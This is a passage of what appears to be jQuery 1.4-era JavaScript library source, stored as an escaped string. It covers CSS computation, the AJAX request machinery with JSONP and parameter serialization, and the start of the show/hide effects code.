0;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif ( elem.offsetWidth !== 0 ) {\n\t\t\t\tgetWH();\n\t\t\t} else {\n\t\t\t\tjQuery.swap( elem, props, getWH );\n\t\t\t}\n\n\t\t\treturn Math.max(0, Math.round(val));\n\t\t}\n\n\t\treturn jQuery.curCSS( elem, name, force );\n\t},\n\n\tcurCSS: function( elem, name, force ) {\n\t\tvar ret, style = elem.style, filter;\n\n\t\t// IE uses filters for opacity\n\t\tif ( !jQuery.support.opacity && name === \"opacity\" && elem.currentStyle ) {\n\t\t\tret = ropacity.test(elem.currentStyle.filter || \"\") ?\n\t\t\t\t(parseFloat(RegExp.$1) / 100) + \"\" :\n\t\t\t\t\"\";\n\n\t\t\treturn ret === \"\" ?\n\t\t\t\t\"1\" :\n\t\t\t\tret;\n\t\t}\n\n\t\t// Make sure we're using the right name for getting the float value\n\t\tif ( rfloat.test( name ) ) {\n\t\t\tname = styleFloat;\n\t\t}\n\n\t\tif ( !force && style && style[ name ] ) {\n\t\t\tret = style[ name ];\n\n\t\t} else if ( getComputedStyle ) {\n\n\t\t\t// Only \"float\" is needed here\n\t\t\tif ( rfloat.test( name ) ) {\n\t\t\t\tname = \"float\";\n\t\t\t}\n\n\t\t\tname = name.replace( rupper, \"-$1\" ).toLowerCase();\n\n\t\t\tvar defaultView = elem.ownerDocument.defaultView;\n\n\t\t\tif ( !defaultView ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tvar computedStyle = defaultView.getComputedStyle( elem, null );\n\n\t\t\tif ( computedStyle ) {\n\t\t\t\tret = computedStyle.getPropertyValue( name );\n\t\t\t}\n\n\t\t\t// We should always get a number back from opacity\n\t\t\tif ( name === \"opacity\" && ret === \"\" ) {\n\t\t\t\tret = \"1\";\n\t\t\t}\n\n\t\t} else if ( elem.currentStyle ) {\n\t\t\tvar camelCase = name.replace(rdashAlpha, fcamelCase);\n\n\t\t\tret = elem.currentStyle[ name ] || elem.currentStyle[ camelCase ];\n\n\t\t\t// From the awesome hack by Dean Edwards\n\t\t\t// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291\n\n\t\t\t// If we're not dealing with a regular pixel number\n\t\t\t// but a number that has a weird ending, we need to convert it to pixels\n\t\t\tif ( !rnumpx.test( ret ) && rnum.test( ret ) ) {\n\t\t\t\t// Remember the original values\n\t\t\t\tvar left = style.left, rsLeft = elem.runtimeStyle.left;\n\n\t\t\t\t// Put in the new values to get a computed value out\n\t\t\t\telem.runtimeStyle.left = elem.currentStyle.left;\n\t\t\t\tstyle.left = camelCase === \"fontSize\" ? \"1em\" : (ret || 0);\n\t\t\t\tret = style.pixelLeft + \"px\";\n\n\t\t\t\t// Revert the changed values\n\t\t\t\tstyle.left = left;\n\t\t\t\telem.runtimeStyle.left = rsLeft;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\t// A method for quickly swapping in/out CSS properties to get correct calculations\n\tswap: function( elem, options, callback ) {\n\t\tvar old = {};\n\n\t\t// Remember the old values, and insert the new ones\n\t\tfor ( var name in options ) {\n\t\t\told[ name ] = elem.style[ name ];\n\t\t\telem.style[ name ] = options[ name ];\n\t\t}\n\n\t\tcallback.call( elem );\n\n\t\t// Revert the old values\n\t\tfor ( var name in options ) {\n\t\t\telem.style[ name ] = old[ name ];\n\t\t}\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.hidden = function( elem ) {\n\t\tvar width = elem.offsetWidth, height = elem.offsetHeight,\n\t\t\tskip = elem.nodeName.toLowerCase() === \"tr\";\n\n\t\treturn width === 0 && height === 0 && !skip ?\n\t\t\ttrue :\n\t\t\twidth > 0 && height > 0 && !skip ?\n\t\t\t\tfalse :\n\t\t\t\tjQuery.curCSS(elem, \"display\") === \"none\";\n\t};\n\n\tjQuery.expr.filters.visible = function( elem ) {\n\t\treturn !jQuery.expr.filters.hidden( elem );\n\t};\n}\nvar jsc = now(),\n\trscript = /<script(.|\\s)*?\\/script>/gi,\n\trselectTextarea = /select|textarea/i,\n\trinput = /color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,\n\tjsre = /=\\?(&|$)/,\n\trquery = /\\?/,\n\trts = /(\\?|&)_=.*?(&|$)/,\n\trurl = /^(\\w+:)?\\/\\/([^\\/?#]+)/,\n\tr20 = /%20/g;\n\njQuery.fn.extend({\n\t// Keep a copy of the old load\n\t_load: jQuery.fn.load,\n\n\tload: function( url, params, callback ) {\n\t\tif ( typeof url !== \"string\" ) {\n\t\t\treturn this._load( url );\n\n\t\t// Don't do a request if no elements are being requested\n\t\t} else if ( !this.length ) {\n\t\t\treturn this;\n\t\t}\n\n\t\tvar off = url.indexOf(\" \");\n\t\tif ( off >= 0 ) {\n\t\t\tvar selector = url.slice(off, url.length);\n\t\t\turl = url.slice(0, off);\n\t\t}\n\n\t\t// Default to a GET request\n\t\tvar type = \"GET\";\n\n\t\t// If the second parameter was provided\n\t\tif ( params ) {\n\t\t\t// If it's a function\n\t\t\tif ( jQuery.isFunction( params ) ) {\n\t\t\t\t// We assume that it's the callback\n\t\t\t\tcallback = params;\n\t\t\t\tparams = null;\n\n\t\t\t// Otherwise, build a param string\n\t\t\t} else if ( typeof params === \"object\" ) {\n\t\t\t\tparams = jQuery.param( params, jQuery.ajaxSettings.traditional );\n\t\t\t\ttype = \"POST\";\n\t\t\t}\n\t\t}\n\n\t\tvar self = this;\n\n\t\t// Request the remote document\n\t\tjQuery.ajax({\n\t\t\turl: url,\n\t\t\ttype: type,\n\t\t\tdataType: \"html\",\n\t\t\tdata: params,\n\t\t\tcomplete: function( res, status ) {\n\t\t\t\t// If successful, inject the HTML into all the matched elements\n\t\t\t\tif ( status === \"success\" || status === \"notmodified\" ) {\n\t\t\t\t\t// See if a selector was specified\n\t\t\t\t\tself.html( selector ?\n\t\t\t\t\t\t// Create a dummy div to hold the results\n\t\t\t\t\t\tjQuery(\"<div />\")\n\t\t\t\t\t\t\t// inject the contents of the document in, removing the scripts\n\t\t\t\t\t\t\t// to avoid any 'Permission Denied' errors in IE\n\t\t\t\t\t\t\t.append(res.responseText.replace(rscript, \"\"))\n\n\t\t\t\t\t\t\t// Locate the specified elements\n\t\t\t\t\t\t\t.find(selector) :\n\n\t\t\t\t\t\t// If not, just inject the full result\n\t\t\t\t\t\tres.responseText );\n\t\t\t\t}\n\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tself.each( callback, [res.responseText, status, res] );\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn this;\n\t},\n\n\tserialize: function() {\n\t\treturn jQuery.param(this.serializeArray());\n\t},\n\tserializeArray: function() {\n\t\treturn this.map(function() {\n\t\t\treturn this.elements ? jQuery.makeArray(this.elements) : this;\n\t\t})\n\t\t.filter(function() {\n\t\t\treturn this.name && !this.disabled &&\n\t\t\t\t(this.checked || rselectTextarea.test(this.nodeName) ||\n\t\t\t\t\trinput.test(this.type));\n\t\t})\n\t\t.map(function( i, elem ) {\n\t\t\tvar val = jQuery(this).val();\n\n\t\t\treturn val == null ?\n\t\t\t\tnull :\n\t\t\t\tjQuery.isArray(val) ?\n\t\t\t\t\tjQuery.map( val, function( val, i ) {\n\t\t\t\t\t\treturn { name: elem.name, value: val };\n\t\t\t\t\t}) :\n\t\t\t\t\t{ name: elem.name, value: val };\n\t\t}).get();\n\t}\n});\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( \"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"), function( i, o ) {\n\tjQuery.fn[o] = function( f ) {\n\t\treturn this.bind(o, f);\n\t};\n});\n\njQuery.extend({\n\n\tget: function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omited\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = null;\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\ttype: \"GET\",\n\t\t\turl: url,\n\t\t\tdata: data,\n\t\t\tsuccess: callback,\n\t\t\tdataType: type\n\t\t});\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get(url, null, callback, \"script\");\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get(url, data, callback, \"json\");\n\t},\n\n\tpost: function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omited\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = {};\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\ttype: \"POST\",\n\t\t\turl: url,\n\t\t\tdata: data,\n\t\t\tsuccess: callback,\n\t\t\tdataType: type\n\t\t});\n\t},\n\n\tajaxSetup: function( settings ) {\n\t\tjQuery.extend( jQuery.ajaxSettings, settings );\n\t},\n\n\tajaxSettings: {\n\t\turl: location.href,\n\t\tglobal: true,\n\t\ttype: \"GET\",\n\t\tcontentType: \"application/x-www-form-urlencoded\",\n\t\tprocessData: true,\n\t\tasync: true,\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\ttraditional: false,\n\t\t*/\n\t\t// Create the request object; Microsoft failed to properly\n\t\t// implement the XMLHttpRequest in IE7 (can't request local files),\n\t\t// so we use the ActiveXObject when it is available\n\t\t// This function can be overriden by calling jQuery.ajaxSetup\n\t\txhr: window.XMLHttpRequest && (window.location.protocol !== \"file:\" || !window.ActiveXObject) ?\n\t\t\tfunction() {\n\t\t\t\treturn new window.XMLHttpRequest();\n\t\t\t} :\n\t\t\tfunction() {\n\t\t\t\ttry {\n\t\t\t\t\treturn new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t\t} catch(e) {}\n\t\t\t},\n\t\taccepts: {\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\thtml: \"text/html\",\n\t\t\tscript: \"text/javascript, application/javascript\",\n\t\t\tjson: \"application/json, text/javascript\",\n\t\t\ttext: \"text/plain\",\n\t\t\t_default: \"*/*\"\n\t\t}\n\t},\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajax: function( origSettings ) {\n\t\tvar s = jQuery.extend(true, {}, jQuery.ajaxSettings, origSettings);\n\n\t\tvar jsonp, status, data,\n\t\t\tcallbackContext = origSettings && origSettings.context || s,\n\t\t\ttype = s.type.toUpperCase();\n\n\t\t// convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Handle JSONP Parameter Callbacks\n\t\tif ( s.dataType === \"jsonp\" ) {\n\t\t\tif ( type === \"GET\" ) {\n\t\t\t\tif ( !jsre.test( s.url ) ) {\n\t\t\t\t\ts.url += (rquery.test( s.url ) ? \"&\" : \"?\") + (s.jsonp || \"callback\") + \"=?\";\n\t\t\t\t}\n\t\t\t} else if ( !s.data || !jsre.test(s.data) ) {\n\t\t\t\ts.data = (s.data ? s.data + \"&\" : \"\") + (s.jsonp || \"callback\") + \"=?\";\n\t\t\t}\n\t\t\ts.dataType = \"json\";\n\t\t}\n\n\t\t// Build temporary JSONP function\n\t\tif ( s.dataType === \"json\" && (s.data && jsre.test(s.data) || jsre.test(s.url)) ) {\n\t\t\tjsonp = s.jsonpCallback || (\"jsonp\" + jsc++);\n\n\t\t\t// Replace the =? sequence both in the query string and the data\n\t\t\tif ( s.data ) {\n\t\t\t\ts.data = (s.data + \"\").replace(jsre, \"=\" + jsonp + \"$1\");\n\t\t\t}\n\n\t\t\ts.url = s.url.replace(jsre, \"=\" + jsonp + \"$1\");\n\n\t\t\t// We need to make sure\n\t\t\t// that a JSONP style response is executed properly\n\t\t\ts.dataType = \"script\";\n\n\t\t\t// Handle JSONP-style loading\n\t\t\twindow[ jsonp ] = window[ jsonp ] || function( tmp ) {\n\t\t\t\tdata = tmp;\n\t\t\t\tsuccess();\n\t\t\t\tcomplete();\n\t\t\t\t// Garbage collect\n\t\t\t\twindow[ jsonp ] = undefined;\n\n\t\t\t\ttry {\n\t\t\t\t\tdelete window[ jsonp ];\n\t\t\t\t} catch(e) {}\n\n\t\t\t\tif ( head ) {\n\t\t\t\t\thead.removeChild( script );\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\n\t\tif ( s.dataType === \"script\" && s.cache === null ) {\n\t\t\ts.cache = false;\n\t\t}\n\n\t\tif ( s.cache === false && type === \"GET\" ) {\n\t\t\tvar ts = now();\n\n\t\t\t// try replacing _= if it is there\n\t\t\tvar ret = s.url.replace(rts, \"$1_=\" + ts + \"$2\");\n\n\t\t\t// if nothing was replaced, add timestamp to the end\n\t\t\ts.url = ret + ((ret === s.url) ? (rquery.test(s.url) ? \"&\" : \"?\") + \"_=\" + ts : \"\");\n\t\t}\n\n\t\t// If data is available, append data to url for get requests\n\t\tif ( s.data && type === \"GET\" ) {\n\t\t\ts.url += (rquery.test(s.url) ? \"&\" : \"?\") + s.data;\n\t\t}\n\n\t\t// Watch for a new set of requests\n\t\tif ( s.global && ! jQuery.active++ ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// Matches an absolute URL, and saves the domain\n\t\tvar parts = rurl.exec( s.url ),\n\t\t\tremote = parts && (parts[1] && parts[1] !== location.protocol || parts[2] !== location.host);\n\n\t\t// If we're requesting a remote document\n\t\t// and trying to load JSON or Script with a GET\n\t\tif ( s.dataType === \"script\" && type === \"GET\" && remote ) {\n\t\t\tvar head = document.getElementsByTagName(\"head\")[0] || document.documentElement;\n\t\t\tvar script = document.createElement(\"script\");\n\t\t\tscript.src = s.url;\n\t\t\tif ( s.scriptCharset ) {\n\t\t\t\tscript.charset = s.scriptCharset;\n\t\t\t}\n\n\t\t\t// Handle Script loading\n\t\t\tif ( !jsonp ) {\n\t\t\t\tvar done = false;\n\n\t\t\t\t// Attach handlers for all browsers\n\t\t\t\tscript.onload = script.onreadystatechange = function() {\n\t\t\t\t\tif ( !done && (!this.readyState ||\n\t\t\t\t\t\t\tthis.readyState === \"loaded\" || this.readyState === \"complete\") ) {\n\t\t\t\t\t\tdone = true;\n\t\t\t\t\t\tsuccess();\n\t\t\t\t\t\tcomplete();\n\n\t\t\t\t\t\t// Handle memory leak in IE\n\t\t\t\t\t\tscript.onload = script.onreadystatechange = null;\n\t\t\t\t\t\tif ( head && script.parentNode ) {\n\t\t\t\t\t\t\thead.removeChild( script );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t}\n\n\t\t\t// Use insertBefore instead of appendChild  to circumvent an IE6 bug.\n\t\t\t// This arises when a base node is used (#2709 and #4378).\n\t\t\thead.insertBefore( script, head.firstChild );\n\n\t\t\t// We handle everything using the script element injection\n\t\t\treturn undefined;\n\t\t}\n\n\t\tvar requestDone = false;\n\n\t\t// Create the request object\n\t\tvar xhr = s.xhr();\n\n\t\tif ( !xhr ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Open the socket\n\t\t// Passing null username, generates a login popup on Opera (#2865)\n\t\tif ( s.username ) {\n\t\t\txhr.open(type, s.url, s.async, s.username, s.password);\n\t\t} else {\n\t\t\txhr.open(type, s.url, s.async);\n\t\t}\n\n\t\t// Need an extra try/catch for cross domain requests in Firefox 3\n\t\ttry {\n\t\t\t// Set the correct header, if data is being sent\n\t\t\tif ( s.data || origSettings && origSettings.contentType ) {\n\t\t\t\txhr.setRequestHeader(\"Content-Type\", s.contentType);\n\t\t\t}\n\n\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\tif ( s.ifModified ) {\n\t\t\t\tif ( jQuery.lastModified[s.url] ) {\n\t\t\t\t\txhr.setRequestHeader(\"If-Modified-Since\", jQuery.lastModified[s.url]);\n\t\t\t\t}\n\n\t\t\t\tif ( jQuery.etag[s.url] ) {\n\t\t\t\t\txhr.setRequestHeader(\"If-None-Match\", jQuery.etag[s.url]);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set header so the called script knows that it's an XMLHttpRequest\n\t\t\t// Only send the header if it's not a remote XHR\n\t\t\tif ( !remote ) {\n\t\t\t\txhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n\t\t\t}\n\n\t\t\t// Set the Accepts header for the server, depending on the dataType\n\t\t\txhr.setRequestHeader(\"Accept\", s.dataType && s.accepts[ s.dataType ] ?\n\t\t\t\ts.accepts[ s.dataType ] + \", */*\" :\n\t\t\t\ts.accepts._default );\n\t\t} catch(e) {}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend && s.beforeSend.call(callbackContext, xhr, s) === false ) {\n\t\t\t// Handle the global AJAX counter\n\t\t\tif ( s.global && ! --jQuery.active ) {\n\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t}\n\n\t\t\t// close opended socket\n\t\t\txhr.abort();\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( s.global ) {\n\t\t\ttrigger(\"ajaxSend\", [xhr, s]);\n\t\t}\n\n\t\t// Wait for a response to come back\n\t\tvar onreadystatechange = xhr.onreadystatechange = function( isTimeout ) {\n\t\t\t// The request was aborted\n\t\t\tif ( !xhr || xhr.readyState === 0 || isTimeout === \"abort\" ) {\n\t\t\t\t// Opera doesn't call onreadystatechange before this point\n\t\t\t\t// so we simulate the call\n\t\t\t\tif ( !requestDone ) {\n\t\t\t\t\tcomplete();\n\t\t\t\t}\n\n\t\t\t\trequestDone = true;\n\t\t\t\tif ( xhr ) {\n\t\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\t\t\t\t}\n\n\t\t\t// The transfer is complete and the data is available, or the request timed out\n\t\t\t} else if ( !requestDone && xhr && (xhr.readyState === 4 || isTimeout === \"timeout\") ) {\n\t\t\t\trequestDone = true;\n\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\n\t\t\t\tstatus = isTimeout === \"timeout\" ?\n\t\t\t\t\t\"timeout\" :\n\t\t\t\t\t!jQuery.httpSuccess( xhr ) ?\n\t\t\t\t\t\t\"error\" :\n\t\t\t\t\t\ts.ifModified && jQuery.httpNotModified( xhr, s.url ) ?\n\t\t\t\t\t\t\t\"notmodified\" :\n\t\t\t\t\t\t\t\"success\";\n\n\t\t\t\tvar errMsg;\n\n\t\t\t\tif ( status === \"success\" ) {\n\t\t\t\t\t// Watch for, and catch, XML document parse errors\n\t\t\t\t\ttry {\n\t\t\t\t\t\t// process the data (runs the xml through httpData regardless of callback)\n\t\t\t\t\t\tdata = jQuery.httpData( xhr, s.dataType, s );\n\t\t\t\t\t} catch(err) {\n\t\t\t\t\t\tstatus = \"parsererror\";\n\t\t\t\t\t\terrMsg = err;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Make sure that the request was successful or notmodified\n\t\t\t\tif ( status === \"success\" || status === \"notmodified\" ) {\n\t\t\t\t\t// JSONP handles its own success callback\n\t\t\t\t\tif ( !jsonp ) {\n\t\t\t\t\t\tsuccess();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tjQuery.handleError(s, xhr, status, errMsg);\n\t\t\t\t}\n\n\t\t\t\t// Fire the complete handlers\n\t\t\t\tcomplete();\n\n\t\t\t\tif ( isTimeout === \"timeout\" ) {\n\t\t\t\t\txhr.abort();\n\t\t\t\t}\n\n\t\t\t\t// Stop memory leaks\n\t\t\t\tif ( s.async ) {\n\t\t\t\t\txhr = null;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t// Override the abort handler, if we can (IE doesn't allow it, but that's OK)\n\t\t// Opera doesn't fire onreadystatechange at all on abort\n\t\ttry {\n\t\t\tvar oldAbort = xhr.abort;\n\t\t\txhr.abort = function() {\n\t\t\t\tif ( xhr ) {\n\t\t\t\t\toldAbort.call( xhr );\n\t\t\t\t}\n\n\t\t\t\tonreadystatechange( \"abort\" );\n\t\t\t};\n\t\t} catch(e) { }\n\n\t\t// Timeout checker\n\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\tsetTimeout(function() {\n\t\t\t\t// Check to see if the request is still happening\n\t\t\t\tif ( xhr && !requestDone ) {\n\t\t\t\t\tonreadystatechange( \"timeout\" );\n\t\t\t\t}\n\t\t\t}, s.timeout);\n\t\t}\n\n\t\t// Send the data\n\t\ttry {\n\t\t\txhr.send( type === \"POST\" || type === \"PUT\" || type === \"DELETE\" ? s.data : null );\n\t\t} catch(e) {\n\t\t\tjQuery.handleError(s, xhr, null, e);\n\t\t\t// Fire the complete handlers\n\t\t\tcomplete();\n\t\t}\n\n\t\t// firefox 1.5 doesn't fire statechange for sync requests\n\t\tif ( !s.async ) {\n\t\t\tonreadystatechange();\n\t\t}\n\n\t\tfunction success() {\n\t\t\t// If a local callback was specified, fire it and pass it the data\n\t\t\tif ( s.success ) {\n\t\t\t\ts.success.call( callbackContext, data, status, xhr );\n\t\t\t}\n\n\t\t\t// Fire the global callback\n\t\t\tif ( s.global ) {\n\t\t\t\ttrigger( \"ajaxSuccess\", [xhr, s] );\n\t\t\t}\n\t\t}\n\n\t\tfunction complete() {\n\t\t\t// Process result\n\t\t\tif ( s.complete ) {\n\t\t\t\ts.complete.call( callbackContext, xhr, status);\n\t\t\t}\n\n\t\t\t// The request was completed\n\t\t\tif ( s.global ) {\n\t\t\t\ttrigger( \"ajaxComplete\", [xhr, s] );\n\t\t\t}\n\n\t\t\t// Handle the global AJAX counter\n\t\t\tif ( s.global && ! --jQuery.active ) {\n\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t}\n\t\t}\n\n\t\tfunction trigger(type, args) {\n\t\t\t(s.context ? jQuery(s.context) : jQuery.event).trigger(type, args);\n\t\t}\n\n\t\t// return XMLHttpRequest to allow aborting the request etc.\n\t\treturn xhr;\n\t},\n\n\thandleError: function( s, xhr, status, e ) {\n\t\t// If a local callback was specified, fire it\n\t\tif ( s.error ) {\n\t\t\ts.error.call( s.context || s, xhr, status, e );\n\t\t}\n\n\t\t// Fire the global callback\n\t\tif ( s.global ) {\n\t\t\t(s.context ? jQuery(s.context) : jQuery.event).trigger( \"ajaxError\", [xhr, s, e] );\n\t\t}\n\t},\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Determines if an XMLHttpRequest was successful or not\n\thttpSuccess: function( xhr ) {\n\t\ttry {\n\t\t\t// IE error sometimes returns 1223 when it should be 204 so treat it as success, see #1450\n\t\t\treturn !xhr.status && location.protocol === \"file:\" ||\n\t\t\t\t// Opera returns 0 when status is 304\n\t\t\t\t( xhr.status >= 200 && xhr.status < 300 ) ||\n\t\t\t\txhr.status === 304 || xhr.status === 1223 || xhr.status === 0;\n\t\t} catch(e) {}\n\n\t\treturn false;\n\t},\n\n\t// Determines if an XMLHttpRequest returns NotModified\n\thttpNotModified: function( xhr, url ) {\n\t\tvar lastModified = xhr.getResponseHeader(\"Last-Modified\"),\n\t\t\tetag = xhr.getResponseHeader(\"Etag\");\n\n\t\tif ( lastModified ) {\n\t\t\tjQuery.lastModified[url] = lastModified;\n\t\t}\n\n\t\tif ( etag ) {\n\t\t\tjQuery.etag[url] = etag;\n\t\t}\n\n\t\t// Opera returns 0 when status is 304\n\t\treturn xhr.status === 304 || xhr.status === 0;\n\t},\n\n\thttpData: function( xhr, type, s ) {\n\t\tvar ct = xhr.getResponseHeader(\"content-type\") || \"\",\n\t\t\txml = type === \"xml\" || !type && ct.indexOf(\"xml\") >= 0,\n\t\t\tdata = xml ? xhr.responseXML : xhr.responseText;\n\n\t\tif ( xml && data.documentElement.nodeName === \"parsererror\" ) {\n\t\t\tjQuery.error( \"parsererror\" );\n\t\t}\n\n\t\t// Allow a pre-filtering function to sanitize the response\n\t\t// s is checked to keep backwards compatibility\n\t\tif ( s && s.dataFilter ) {\n\t\t\tdata = s.dataFilter( data, type );\n\t\t}\n\n\t\t// The filter can actually parse the response\n\t\tif ( typeof data === \"string\" ) {\n\t\t\t// Get the JavaScript object, if JSON is used.\n\t\t\tif ( type === \"json\" || !type && ct.indexOf(\"json\") >= 0 ) {\n\t\t\t\tdata = jQuery.parseJSON( data );\n\n\t\t\t// If the type is \"script\", eval it in global context\n\t\t\t} else if ( type === \"script\" || !type && ct.indexOf(\"javascript\") >= 0 ) {\n\t\t\t\tjQuery.globalEval( data );\n\t\t\t}\n\t\t}\n\n\t\treturn data;\n\t},\n\n\t// Serialize an array of form elements or a set of\n\t// key/values into a query string\n\tparam: function( a, traditional ) {\n\t\tvar s = [];\n\n\t\t// Set traditional to true for jQuery <= 1.3.2 behavior.\n\t\tif ( traditional === undefined ) {\n\t\t\ttraditional = jQuery.ajaxSettings.traditional;\n\t\t}\n\n\t\t// If an array was passed in, assume that it is an array of form elements.\n\t\tif ( jQuery.isArray(a) || a.jquery ) {\n\t\t\t// Serialize the form elements\n\t\t\tjQuery.each( a, function() {\n\t\t\t\tadd( this.name, this.value );\n\t\t\t});\n\n\t\t} else {\n\t\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t\t// did it), otherwise encode params recursively.\n\t\t\tfor ( var prefix in a ) {\n\t\t\t\tbuildParams( prefix, a[prefix] );\n\t\t\t}\n\t\t}\n\n\t\t// Return the resulting serialization\n\t\treturn s.join(\"&\").replace(r20, \"+\");\n\n\t\tfunction buildParams( prefix, obj ) {\n\t\t\tif ( jQuery.isArray(obj) ) {\n\t\t\t\t// Serialize array item.\n\t\t\t\tjQuery.each( obj, function( i, v ) {\n\t\t\t\t\tif ( traditional ) {\n\t\t\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\t\t\tadd( prefix, v );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// If array item is non-scalar (array or object), encode its\n\t\t\t\t\t\t// numeric index to resolve deserialization ambiguity issues.\n\t\t\t\t\t\t// Note that rack (as of 1.0.0) can't currently deserialize\n\t\t\t\t\t\t// nested arrays properly, and attempting to do so may cause\n\t\t\t\t\t\t// a server error. Possible fixes are to modify rack's\n\t\t\t\t\t\t// deserialization algorithm or to provide an option or flag\n\t\t\t\t\t\t// to force array serialization to be shallow.\n\t\t\t\t\t\tbuildParams( prefix + \"[\" + ( typeof v === \"object\" || jQuery.isArray(v) ? i : \"\" ) + \"]\", v );\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t} else if ( !traditional && obj != null && typeof obj === \"object\" ) {\n\t\t\t\t// Serialize object item.\n\t\t\t\tjQuery.each( obj, function( k, v ) {\n\t\t\t\t\tbuildParams( prefix + \"[\" + k + \"]\", v );\n\t\t\t\t});\n\n\t\t\t} else {\n\t\t\t\t// Serialize scalar item.\n\t\t\t\tadd( prefix, obj );\n\t\t\t}\n\t\t}\n\n\t\tfunction add( key, value ) {\n\t\t\t// If value is a function, invoke it and return its value\n\t\t\tvalue = jQuery.isFunction(value) ? value() : value;\n\t\t\ts[ s.length ] = encodeURIComponent(key) + \"=\" + encodeURIComponent(value);\n\t\t}\n\t}\n});\nvar elemdisplay = {},\n\trfxtypes = /toggle|show|hide/,\n\trfxnum = /^([+-]=)?([\\d+-.]+)(.*)$/,\n\ttimerId,\n\tfxAttrs = [\n\t\t// height animations\n\t\t[ \"height\", \"marginTop\", \"marginBottom\", \"paddingTop\", \"paddingBottom\" ],\n\t\t// width animations\n\t\t[ \"width\", \"marginLeft\", \"marginRight\", \"paddingLeft\", \"paddingRight\" ],\n\t\t// opacity animations\n\t\t[ \"opacity\" ]\n\t];\n\njQuery.fn.extend({\n\tshow: function( speed, callback ) {\n\t\tif ( speed || speed === 0) {\n\t\t\treturn this.animate( genFx(\"show\", 3), speed, callback);\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar old = jQuery.data(this[i], \"olddisplay\");\n\n\t\t\t\tthis[i].style.display = old || \"\";\n\n\t\t\t\tif ( jQuery.css(this[i], \"display\") === \"none\" ) {\n\t\t\t\t\tvar nodeName = this[i].nodeName, display;\n\n\t\t\t\t\tif ( elemdisplay[ nodeName ] ) {\n\t\t\t\t\t\tdisplay = elemdisplay[ nodeName ];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar elem = jQuery(\"<\" + nodeName + \" />\").appendTo(\"body\");\n\n\t\t\t\t\t\tdisplay = elem.css(\"display\");\n\n\t\t\t\t\t\tif ( display === \"none\" ) {\n\t\t\t\t\t\t\tdisplay = \"block\";\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telem.remove();\n\n\t\t\t\t\t\telemdisplay[ nodeName ] = display;\n\t\t\t\t\t}\n\n\t\t\t\t\tjQuery.data(this[i], \"olddisplay\", display);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( var j = 0, k = this.length; j < k; j++ ) {\n\t\t\t\tthis[j].style.display = jQuery.data(this[j], \"olddisplay\") || \"\";\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\thide: function( speed, callback ) {\n\t\tif ( speed || speed === 0 ) {\n\t\t\treturn this.animate( genFx(\"hide\", 3), speed, callback);\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar old = jQuery.data(this[i], \"olddisplay\");\n\t\t\t\tif ( !old && old !== \"none\" ) {\n\t\t\t\t\tjQuery.data(this[i], \"olddisplay\", jQuery.css(this[i], \"display\"));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( var j = 0, k = this.length; 